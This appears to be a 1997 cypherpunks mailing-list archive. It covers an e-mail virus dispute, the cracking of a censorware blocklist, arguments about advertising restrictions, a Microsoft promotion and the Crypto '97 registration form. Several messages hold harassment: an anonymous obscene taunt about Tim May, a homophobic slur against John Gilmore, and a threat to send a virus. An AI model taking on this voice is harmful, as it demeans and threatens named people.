Your user is threating to send me a virus through e-mail.  Can you
stop him, please?  See headers at bottom of message.  Thanks.

> 
> Yours,
> Scott
> 
> 
> At 04:03 PM 4/23/97 -0700, you wrote:
> >Scott,
> >
> >Get off it.  You can't get a virus from reading an e-mail file.
> >We've been all over this, up and down.  You must open a file and
> >run it to get a virus.  Now you *may* be able to get a virus from
> >reading 'web based' e-mal like hot mail, but using a regular e-mail
> >software it WILL NOT happen.  No way, no how, so put up a copy of
> >this "microsoft letter" on your web site you claim to have and post
> >some verifiable information or just go away and shut up.
> >
> >
> >
> >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> >
> >> The another reason I know this can happen is I got a letter from
> >> Microsoft and on C-net(on the TV), talking about a virus that
> >> once you opened it. Could curruped you e-mail program(only work
> >> on internet Exsplore and microsoft e-mail programs).
> >> 
> >> Yours,
> >> Scott Shrader
> >> 
> >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> >> >
> >> >> Sorry to burst your bubble, but I know for a fact that you can
> >> >> get a virus from a e-mail.  I've heard from other people how
> >> >> have gotten viruses this. I even heard of how to do it.  You
> >> >> can't get the virus, unless your open it and/or get it from
> >> >> your e-mail server.
> >> >> 
> >> >> Yours,
> >> >> Scott Shrader
> >> >> 
> >
> >
> 
> 
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> _/                Scott Shrader                       _/
> _/               shrader@scsn.net                     _/
> _/       http://www.scsn.net/users/shrader/           _/
> _/			or                            _/
> _/     http://www.geocities.com/Yosemite/2352/        _/
> _/                 Columbia, SC                       _/
> _/		       29223                          _/
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> 
> 


Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 24 Apr 1997 22:40:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <v03007812af85edeb96ba@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:13 PM -0700 4/24/97, Blanc wrote:
>Declan McCullagh wrote:
>
>>The Center for Media Education is trying to accelerate this process. In a
>>fearmongering report earlier this year, the group demanded that a slew of
>>government agencies -- the FCC, FDA, FTC, CDC, NCI, and the WHO -- take
>>"urgent agction" to "protect" America's children from tobacco and liquor
>>advertising online.
>...............................................
>
>
>I wish these people would go live in the U.S.S.R., or something.(*)
>
>...
>
>(*) yes, I know it doesn't exist anymore.  Too bad.  Some people belong in
>a State like that.  Where they can live with each other and never grow up,
>but only wither away from atrophy of the mind.

We still have North Korea, and even better, Myanmar where net access is
illegal.

What is highly amusing is the mounting evidence that alcoholic beverages in
moderation are good for your health.  Of course, if you are one of the
small percent of the population who can't be moderate, then you should not
use alcoholic beverages.  But many people have bad reactions to various
foods.  That's no reason to forbid them or their advertising.


-------------------------------------------------------------------------
Bill Frantz       | God could make the world   | Periwinkle -- Consulting
(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz@netcom.com | not have an installed base.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Thu, 24 Apr 1997 22:39:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Censorware battle heats up; CyberSitter blacklist now public
Message-ID: <3.0.32.19970424223018.006e3788@best.com>
MIME-Version: 1.0
Content-Type: text/plain


>
>http://www.wired.com/news/politics/story/3355.html
>
>Teen Offers Way to Crack Blocking Software
>by Rebecca Vesely
>
>3:03pm 23.Apr.97.PDT A Tennessee college student has posted a software
>program on the Web that can be used to decrypt a list of sites blocked
>by the prominent blocking software Cybersitter. The company that makes
>the program is furious, and an attorney versed in Net law says the
>student could face legal action.
>
>Bennett Haselton, co-founder of the teen Web site Peacefire, on Monday
>posted a program that he wrote specifically to crack the "filter file"
>that comes with Cybersitter. The 18-year-old junior at Vanderbilt
>University says it took him two days to write the software. The filter
>file is frequently updated by Solid Oak Software, the company that
>owns Cybersitter, but was taken offline Tuesday by the company.
>
>"He is violating every intellectual property law ever written," said
>Solid Oak president Brian Milburn. "It costs us tens of thousands of
>dollars to maintain that list. It's none of his business what is on
>that list or what we do with it."

/\/\/\/\/ And this genius Milburn protects it with some bullshit that can be 
cracked in 2 days!?!?!  He deserves everything he gets and more.  Should
be a lesson.

I look forward to more fireworks!


>
>-------------------------
>Time Inc.
>The Netly News Network
>Washington Correspondent
>http://netlynews.com/
>
>
>--------------------------------------------------------------------------
>This list is public. To join fight-censorship-announce, send
>"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
>More information is at http://www.eff.org/~declan/fc/
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 00:14:40 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425002053.0069bc70@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.
...............................................


Well, of course I was taking aim not specifically against the mentioned
vices, but to the attitude of people who wish to protect children from
themselves in their forays into "dangerous" advertising territory.    That
is, to the attitude of calling for restriction and the setting of
boundaries, rather than of providing some explanations on life and what can
happen and how a person can deal with consequences.  But that would take a
lot of work and wisdom that they apparently don't feel they can offer. 

I have envisioned a time in the distant future, perhaps in a distant
galaxy, where static data is not a source of fear and children grow with an
open attitude to information - to the fact that it is they themselves, who
determine what shall be done, not bits of data.   I have always read so
many things since growing up, curiously poking into everything that was
available (my Mother would have cringed), and never was automatically
affected by it, but developed a total respect for a Universe of All
Possible Things, even if I never intended to involve or indulge myself in
trying out all that I encountered (in the library, bookstores, etc.)   

These people have this idea that because you look at a black hole you
inevitably must fall into it.   I guess it comes from their own lack of
self confidence.   Were they to have the aim of ascending from fear and
doubt into the expansion of their worldly perspective and development of
intelligent judgment about Reality, they wouldn't have to think of calling
upon intermediaries to put limits on their activities (or that of their
children) for them.   One should look for intermediaries only when one is
clearly helpless.   It's incredible to think that there is no self-defense
against fatuous advertising.

-- end of rant --
    ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 25 Apr 1997 00:42:20 -0700 (PDT)
To: Bill Frantz <cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <v03007801af861cb3b794@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:20 PM -0800 4/24/97, Bill Frantz wrote:

>What is highly amusing is the mounting evidence that alcoholic beverages in
>moderation are good for your health.  Of course, if you are one of the
>small percent of the population who can't be moderate, then you should not
>use alcoholic beverages.  But many people have bad reactions to various
>foods.  That's no reason to forbid them or their advertising.

Obviously we libertarians fully agree with this. No advertising should ever
be banned....to ban or restict any advertising, no matter how worthless or
despicable the product, is clearly a violation of basic constitutional
protections of free speech.

(Note that the orginal grounds for restricting cigarette advertising on
television and radio were on shaky grounds that the airwaves were a kind of
monopoly have now been augmented by laws restricing advertising "too close"
to schools and other places and other such restrictions. Including crap
about requiring warnings about cigarettes and alcohol, even in
non-broadcast advertisements! By this precedent, can it be long before
political writings are required to carry extensive warnings? The First
Amendment has become a joke.)

By the way, the conventional (if flaky) wisdom in the 1950s was that
cigarette smoking was good for one's health (a "digestive"). Had the FCC
and FDA had the powers then that they have now, cigarette ads would have
been _required_.

This is the danger of the monoculture I have written about. "Anything not
banned is required, anything not required is banned."

As to Cypherpunks relevance, what will happen if cigarettes, alcohol, and
condoms are advertised on the Web? (Whoops, strike condom ads...they were
once banned, but are now required.)

Kill them all...they are unworthy of life.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Fri, 25 Apr 1997 00:49:03 -0700 (PDT)
To: Blanc <blancw@cnw.com>
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425005823.0071e090@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:13 PM 4/24/97 -0700, Blanc wrote:

>I wish these people would go live in the U.S.S.R., or something.(*)

Indeed - I frequently find myself wondering who really won the cold war. The
"free world" seems to be adopting the totalitarian/surveillance-state tactics
and behaviors usually ascribed to the nations which "lost" the cold war; but
the "losers" seem to have a much better grasp of the importance of human
freedom than the "winners" do. 

The FBI's recent request for the capability to carry on 60,000 simultaneous
wiretaps calls to mind the wiretap apparatus of Eastern Europe, but with
modern hardware. Yow. We have met the enemy, and it is us.


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM2Biq/37pMWUJFlhAQGe/gf+MsHlayfW15lwPnTZl5ZzZ9TKptpq/C2y
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58zzKkImyjKRhWo4z+suqoXKGu004bo3afRClv4iNVswDvlLFm/Xx4sDjHmzO5Vb
MbjhfsIjA17mRRdlUAUgs26Xet52t1YodV2DBVl/P8UibFuuUIEebBPS0yEgYytq
S1AmQH2JivI3m+gpDJ7Qbrqdt1znU/2JbaBNS5//1924KLgk8zzI+B2O9VAsRbx2
JB+i9P3S8aHS5Y2SQ5P19oiTh9nTrniGUAbOth751Ttlj+uABfP1FA==
=aY23
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 01:14:19 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425012047.0069b750@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:

>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics
>and behaviors usually ascribed to the nations which "lost" the cold war; but
>the "losers" seem to have a much better grasp of the importance of human
>freedom than the "winners" do. 
.....................................................


I think it's because, having suffered through many years of totalitarian
beneficence, they know first-hand what it really means to live that way:

whereas our friends & neighbors over here can only imagine the good things
and "benefits" that they envision for everyone, the ones who have lived
through it know what it really looks like and how it really feels to be on
the receiving end.   It is unfortunate that our innocence can be a drawback
to realizing the effects or consequences of blanket policies, those
one-size-fits-all arrangements which are supposed to "help us" into
becoming better persons against our will.   Reading history apparently
doesn't make an impact on some people, sometimes they just have to be
there, to see first-hand what it means to experience their grand designs.

That's why I really wish that these people would get what they wish for -
that they could live, with all voluntary parties in full consent, the kind
of restrictive setups they are always calling for.   I guess Singapore is
the closest thing to that at this time, where they appear to live pretty
much a pre-determined existence and don't leave, although they are free to
do so.   Too bad it's a small island and can't fit many more similarly
minded types.

Maybe one day in the future all the control freaks and their submissive
followers will gravitate to certain parts of the world and everyone else to
others, and there will be peace & happiness throughout the planet.  :-)   

   ..
Blanc




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 25 Apr 1997 02:13:48 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
Message-ID: <3.0.32.19970425022005.006a15b0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

>By the way, the conventional (if flaky) wisdom in the 1950s was that
>cigarette smoking was good for one's health (a "digestive"). Had the FCC
>and FDA had the powers then that they have now, cigarette ads would have
>been _required_.
......................................................


Just as the govt is inclined to keep databases of our sins, would it be
nice to also have a long account of their faults, for posterity.  Something
to display in arguments and debates, to present to a candid world (in the
words of the Declaration of Independence) just cause for our grievances
against it and convincing proof why it is not wise to blindly follow
leaders, for yay -  sometimes they err, and sometimes one gets the shaft.

There are many books presenting detailed accounts of govt follies, but had
I the time & inclination I would arrange them into a database table for
ease in appreciation, with categories like:

	Policy/Law
	Purpose
	Date Instigated
	Actual Effects/Consequences
	Date Retracted
	Results
	
Not that I would want to create a dark picture of govt, but only to create
a dark picture of the logic of those who would give us no choice in these
matters.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VTDirector <VTDirector@MSDN.EASE.LSOFT.COM>
Date: Fri, 25 Apr 1997 03:35:05 -0700 (PDT)
To: VISTOOLS@MSDN.EASE.LSOFT.COM
Subject: Latest info on new Microsoft Visual Tools
Message-ID: <VISTOOLS%1997042505015513@MSDN.EASE.LSOFT.COM>
MIME-Version: 1.0
Content-Type: text/plain


Hey developers,

Don't miss out on the new capabilities of Microsoft's latest versions of
the Visual Tools you depend on--including a brand new suite of tools
called Visual Studio 97 development system.

Microsoft has just introduced the following tools, each with new features
and enhancements that can improve both your efficiency and integration
with the Internet:

* Microsoft Visual Basic programming system 5.0
-- Combine fast development and execution with the new Native Code
compiler.  Visual Basic is the most efficient tool for creating
high-performance applications that integrate client/server technology with
Internet technology.

* Microsoft Visual C++ development system 5.0
-- This is the most powerful language for developing high-performance
applications and components.  Now, run everything faster, including
existing code, with this version.

* Microsoft Visual InterDev Web development system
-- The newest member of the Visual Tools family, this integrated
development tool for building Active Server Web applications increases Web
developers' productivity and makes it easy to develop dynamic,
database-driven Web sites.

* Microsoft Visual J++ development software
-- Create great 100% cross-platform Java code, or integrate it with your
databases and existing applications.  Put the powerful Java debugger and
the fastest Java compiler to work for you. All this in a flexible,
familiar IDE that is shared with Visual C++ and Visual InterDev.

* Microsoft Visual FoxPro database management system 5.0
-- With improved performance, existing applications run up to 40% faster.
This object-oriented development tool is the best way to build all types
of database applications.

But that's just the beginning -- Microsoft has even better news.  If you
use more than one Microsoft Visual Tool, you can get a value-priced suite
of all five products for just about the price of two: Visual Studio 97.
With it, you'll be prepared for any development challenge, from
Windows-based solutions to Internet development to the most complex
client/server applications..

Not yet sure?  Then visit www.microsoft.com/visualtools/ for multimedia
demos, white papers, and other fact-packed information.

If you're ready to purchase, you can buy online at
http://www.developstore.com/, or call (800) 621-7930 and ask for
"Department V5 Tools" to order by phone or to find the name of a reseller
in your area.

--Tom Button
Director, Developer Product Marketing




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 06:19:45 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re:  Re: Downloading Software + viruses (HOAX)
In-Reply-To: <199704250131.VAA11596@dhp.com>
Message-ID: <19RP6D33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:

> This guy is scaring me.  It's not real, right?

It sounds like someone just earned themselves a net.scum page.

> On 24 Apr 97 at 18:28, Scott Shrader wrote:
>
> > I know You can get a virus this way.  Do you want me to send you one
> > this way?!?!
>
> That sound's like a threat.  I am going to have to report you to your
> ISP.  Sorry.
>
> Abuse or Root:
>
> Your user is threating to send me a virus through e-mail.  Can you
> stop him, please?  See headers at bottom of message.  Thanks.
>
> >
> > Yours,
> > Scott
> >
> >
> > At 04:03 PM 4/23/97 -0700, you wrote:
> > >Scott,
> > >
> > >Get off it.  You can't get a virus from reading an e-mail file.
> > >We've been all over this, up and down.  You must open a file and
> > >run it to get a virus.  Now you *may* be able to get a virus from
> > >reading 'web based' e-mal like hot mail, but using a regular e-mail
> > >software it WILL NOT happen.  No way, no how, so put up a copy of
> > >this "microsoft letter" on your web site you claim to have and post
> > >some verifiable information or just go away and shut up.
> > >
> > >
> > >
> > >On 23 Apr 97 at 17:58, Scott Shrader wrote:
> > >
> > >> The another reason I know this can happen is I got a letter from
> > >> Microsoft and on C-net(on the TV), talking about a virus that
> > >> once you opened it. Could curruped you e-mail program(only work
> > >> on internet Exsplore and microsoft e-mail programs).
> > >>
> > >> Yours,
> > >> Scott Shrader
> > >>
> > >> >On Sun, 20 Apr 1997, Scott Shrader wrote:
> > >> >
> > >> >> Sorry to burst your bubble, but I know for a fact that you can
> > >> >> get a virus from a e-mail.  I've heard from other people how
> > >> >> have gotten viruses this. I even heard of how to do it.  You
> > >> >> can't get the virus, unless your open it and/or get it from
> > >> >> your e-mail server.
> > >> >>
> > >> >> Yours,
> > >> >> Scott Shrader
> > >> >>
> > >
> > >
> >
> >
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> > _/                Scott Shrader                       _/
> > _/               shrader@scsn.net                     _/
> > _/       http://www.scsn.net/users/shrader/           _/
> > _/			or                            _/
> > _/     http://www.geocities.com/Yosemite/2352/        _/
> > _/                 Columbia, SC                       _/
> > _/		       29223                          _/
> > _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> >
> >
>
>
> Received: from rosie.scsn.net (scsn.net [206.25.246.12]) by
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 24 Apr 1997 23:15:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] e$
Message-ID: <199704250614.IAA15275@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Now is the time for all good little boys to 
cum in Tim May's big mouth.

           \|/
           @ @
      -oOO-(_)-OOo- Tim May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Fri, 25 Apr 1997 07:26:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Crypto '97: Information and Registration Form
Message-ID: <v03007809af866ef99290@[206.11.192.107]>
MIME-Version: 1.0
Content-Type: text/plain


CRYPTO '97

General Information

17-21 August 1997
Santa Barbara, California, USA

Crypto '97 is the 17th international conference on cryptology held at
the University of California Santa Barbara. The academic program
covers all aspects of cryptology; specific papers will be announced on
1 May. Formal proceedings, published by Springer-Verlag, will be
provided to all attendees at the conference.

Crypto '97 is sponsored by the International Association for
Cryptologic Research (IACR), in cooperation with the IEEE Computer
Society Technical Committee on Security and Privacy, and the Computer
Science Department of the University of California, Santa Barbara
(UCSB). Program Chair is Burt Kaliski, Jr., and General Chair is Bruce
Schneier.

In addition to selected and invited papers, there will be a rump
session on Tuesday evening for selected informal presentations.
Facilities are available for attendees to demonstrate hardware,
software, and other items of cryptologic interest. If you are
interested, contact the General Chair by 12 June 1997.

The social program will include hosted dinner receptions on Monday and
Tuesday nights, and a beach barbecue on Wednesday evening. Breakfasts
and lunches will be served at the university dining hall.

Conference Facilities: The workshop will be held on the campus of the
University of California, Santa Barbara.  The campus is located
adjacent to the Santa Barbara airport and the Pacific Ocean; free
shuttle bus service from the airport is available. Reasonably priced
accommodations are available in the university dormitories for
participants and their registered guests. Children under the age of 13
are not allowed to stay in the dormitories, so those bringing younger
children will need to make separate arrangements in one of the nearby
hotels (see Hotels, below). Parking on campus is available at no cost
to participants, but a permit must be requested on arrival. Smoking
inside campus buildings is prohibited. The food is good.

Registration: The conference is open to all interested parties, but
the number of attendees at the workshop is limited to 500;
pre-registration is strongly advised. To register, fill out the
accompanying registration form and return it to the address on the
form along with payment in full before 12 July 1997. Those bringing a
guest are also required to submit the guest registration form. Campus
accommodations will be available on a first come, first served basis
for attendees who register by 12 July 12 1997. Registrations received
after 12 July 1997 may be accepted if space is available but cannot be
guaranteed. The conference fee includes participation in the program
and all social functions, as well as membership in the IACR and a
subscription to the Journal of Cryptology. The room and board charges
include dormitory lodging Sunday night through Wednesday night, and
breakfast and lunch on Monday through Thursday. Technical sessions
will run from Monday morning to Thursday noon, with a free half day on
Tuesday afternoon.

A limited number of stipends are available to students unable to
obtain funding. Students are invited to apply if such assistance is
needed. Requests for stipends should be received by the General Chair
before 14 June 1997. Students registering for the conference need to
provide verification of their student status with a letter from their
Supervisor or Department Chair and a photocopy of their student ID
card. Preference will be given to students whose papers are accepted
and who will present the papers themselves

Cancellations received, in writing, by the General Chair by 15 July
1997 will be considered for a refund in full minus $75 for a copy of
the Proceedings and handling costs. No refunds will be made for
cancellations received after 15 July 1997, but a copy of the
conference Proceedings will be mailed to those registered but unable
to attend.

Travel Information: The campus is located approximately two miles from
the Santa Barbara airport, which is served by several airlines
including American, American West, Delta, United, and US Air.
Complimentary shuttle bus service will be provided between the Santa
Barbara airport and the campus on Sunday and Thursday afternoons. All
major rental car agencies are represented in Santa Barbara. AMTRAK
also has rail connections from both San Francisco and Los Angeles.
Santa Barbara is approximately 100 miles (160 km) north of the Los
Angeles airport and 350 miles (560 km) south of San Francisco.

Hotels: For those who choose not to stay in the dormitories, the
following is a partial list of hotels in the area. Those who choose to
stay off campus are responsible for making their own reservations, and
early reservations are advised since August is a popular season in
Santa Barbara. Note that Goleta is closer to UCSB than Santa Barbara
is to UCSB, but a car will probably be required to travel between any
hotel and the campus. All prices are subject to change: prices should
be confirmed by calling the hotels directly. However, mention Crypto
'97 at UCSB when you are making your reservations, since at several of
the hotels you will be eligible for the university rate, which can be
a significant savings. We are not able to book block rooms in these
hotels, so please make reservations as early as possible. The quality
of the hotels ranges from rather expensive beach-front resorts to
basic inexpensive accommodations. For further information, try
contacting the Santa Barbara Convention and Visitors Center, +1 805
966 9222, or see http://www.iacr.org.

South Coast Inn: 5620 Calle Real, Goleta, CA 93117. Single rate $89;
double rate $94. Contact Ms. Murrill Forrester at +1 805 967 3200.

Cathedral Oaks Lodge (formerly Turnpike Lodge): 4770 Calle Real, Santa
Barbara, CA, 93110. Single rates $75 and up; double rates $85 and up.
No university rates available. Prices include breakfast. Telephone +1
805 964 3511; fax +1 805 964 0075.

Motel 6: 5897 Calle Real, Goleta, CA 93117. Single rate $36.99; double
rate $42.99. Telephone +1 805 891 6161 or the national reservations
number.

The Sandman Inn: 3714 State Street, Santa Barbara, CA 93105. Rates
start at $79. Telephone: +1 805 687 2468; fax +1 805 687 6581.

Miramar Hotel (Beachfront): Three miles south of Santa Barbara on U.S.
101 at San Ysidro turnoff. No specific single or double rates. Rooms
begin at $75. Telephone +1 805 969 2203; fax +1 805 969 3163.

Pepper Tree Inn: 3850 State Street, Santa Barbara, CA 93105. Single
rate $114; double rate $124. Telephone +1 805 687 5511; fax +1 805 682
2410.

Encina Lodge: 2220 Bath Street, Santa Barbara, CA 93105. Single rate
$120; double rate $124. Telephone +1 805 682 7277; fax +1 805 563
9319.

Pacifica Suites: Located close to the campus (just down Ward Memorial
Blvd./Highway 217), 5500 Hollister Avenue, Santa Barbara, CA 93111.
Normal rates begin at $135 for a suite. Includes full cooked
breakfast. Telephone +1 805 683 6722; fax +1 805 683 4121.

Upham Hotel: This is a bed-and-breakfast in downtown Santa Barbara.
1404 De La Vina Road, Santa Barbara, CA 93101. Rates begin at $110.
(You must mention that you are attending the Crypto conference.)
Telephone +1 805 962 0058; fax +1 805 963 2825.

The El Encanto Hotel: This renovated hotel is located in the foothills
near downtown Santa Barbara. 1900 Lasuen Road, Santa Barbara, CA
93105. Rates begin at $140. Telephone +1 805 687 5000; fax +1 805 687
3903.



To register, print and mail the following form:

---------------------------------------------------------------------

		    	 CRYPTO '97 Registration Form
    	     Registration deadline: July 12, 1997

Last Name:  ________________________________________________________
First Name: ____________________________________ Sex: M or F _______
Affiliation: _______________________________________________________
Mailing Address: ___________________________________________________
____________________________________________________________________
____________________________________________________________________
Phone: ___________________________ Fax: ____________________________
Electronic Mail: ___________________________________________________
___ Check here if you wish to have your name and address excluded from
the list of delegates.

Payment of the conference fee entitles you to membership in the
International Association for Cryptologic Research for 1998 at no
extra charge, including a subscription to the Journal of Cryptology,
published by Springer-Verlag, at no extra charge.  Do you wish to be
an IACR member?	___ YES    ___ NO

___ Check here if you with to have your name and address excluded from
the IACR membership listing.

Conference Registration Fee (check first line that applies):

				Paid by July 12    After July 12
___ Full-Time Student           $211       		  $291

___ Attended Eurocrypt '97      $350       		  $430
___ Regular Registration        $422       		  $502	$ _________

___ Guest Attendance (social program only)  $60
    Guest's Name________________________     			$ _________

Room Sunday to Thursday (non-smoking) with breakfast and lunch Monday
through Thursday ___ Single room $290  ___ Double room $230
    Roommate's name: _____________________    			$ _________

Extra nights at $70 single, $55 double, per person, per night
___ Saturday night  $ _____
___ Thursday night  $ _____                   			$ _________

TOTAL ENCLOSED OR PAID BY CREDIT CARD:        			$ _________

Enclosed payments must be in U.S. funds: by check drawn on a U.S.
bank, by U.S. money order, or by U.S. bank draft, payable to CRYPTO
'97.

Credit card payments are accepted by either mail or fax.
Check one: __ VISA       ___ MasterCard     ___ American Express
Name on card: ___________________________________________
Card number:  ___________________________ Expires: ______
Cardholder's signature: _________________________________

Send forms and enclosed payments to:	  For more information:
Bruce Schneier, Crypto '97		  Email: crypto97@iacr.org
Counterpane Systems			  WWW: http://www.iacr.org
101 E Minnehaha Parkway			  Phone: +1 612 823 1998
Minneapolis, MN  55419   USA		  Fax: +1 612 823 1590

**************************************************************************
* Bruce Schneier                 For information on APPLIED CRYPTOGRAPHY
* Counterpane Systems            2nd EDITION (15% discount and errata),
* schneier@counterpane.com       Counterpane Systems's consulting services,
* http://www.counterpane.com/    or the Blowfish algorithm, see my website.
**************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gsmith@ultragrafix.com
Date: Fri, 25 Apr 1997 08:02:37 -0700 (PDT)
To: Friend@public.com
Subject: Save 50% on Office Pro 97 & 40% on NT 4.0  !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Fri, 25 Apr 1997 08:59:58 -0700 (PDT)
To: Anonymous <nobody@replay.com>
Subject: Re: [CRYPTO] e$
In-Reply-To: <199704250614.IAA15275@basement.replay.com>
Message-ID: <Pine.A41.3.95.970425095841.81382B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to him.


On Fri, 25 Apr 1997, Anonymous wrote:

> Now is the time for all good little boys to 
> cum in Tim May's big mouth.
> 
>            \|/
>            @ @
>       -oOO-(_)-OOo- Tim May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 25 Apr 1997 08:26:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <v03007801af861cb3b794@[207.167.93.63]>
Message-ID: <1JZP6D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:
> Obviously we libertarians fully agree with this. No advertising should ever
> be banned....to ban or restict any advertising, no matter how worthless or
> despicable the product, is clearly a violation of basic constitutional
> protections of free speech.

Isn't it ironic when people who support Cocksucker John Gilmore and C2Net
call themselves "we libertarians"?
> 
> (Note that the orginal grounds for restricting cigarette advertising on
> television and radio were on shaky grounds that the airwaves were a kind of
> monopoly have now been augmented by laws restricing advertising "too close"
> to schools and other places and other such restrictions. Including crap
> about requiring warnings about cigarettes and alcohol, even in
> non-broadcast advertisements! By this precedent, can it be long before
> political writings are required to carry extensive warnings? The First
> Amendment has become a joke.)

Cigarette advertizing is what created TV in the U.S.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Fri, 25 Apr 1997 11:14:01 -0700 (PDT)
To: Declan McCullagh <declan@well.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <v03007805af8593125b9e@[168.161.105.191]>
Message-ID: <199704251813.LAA18728@server1.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



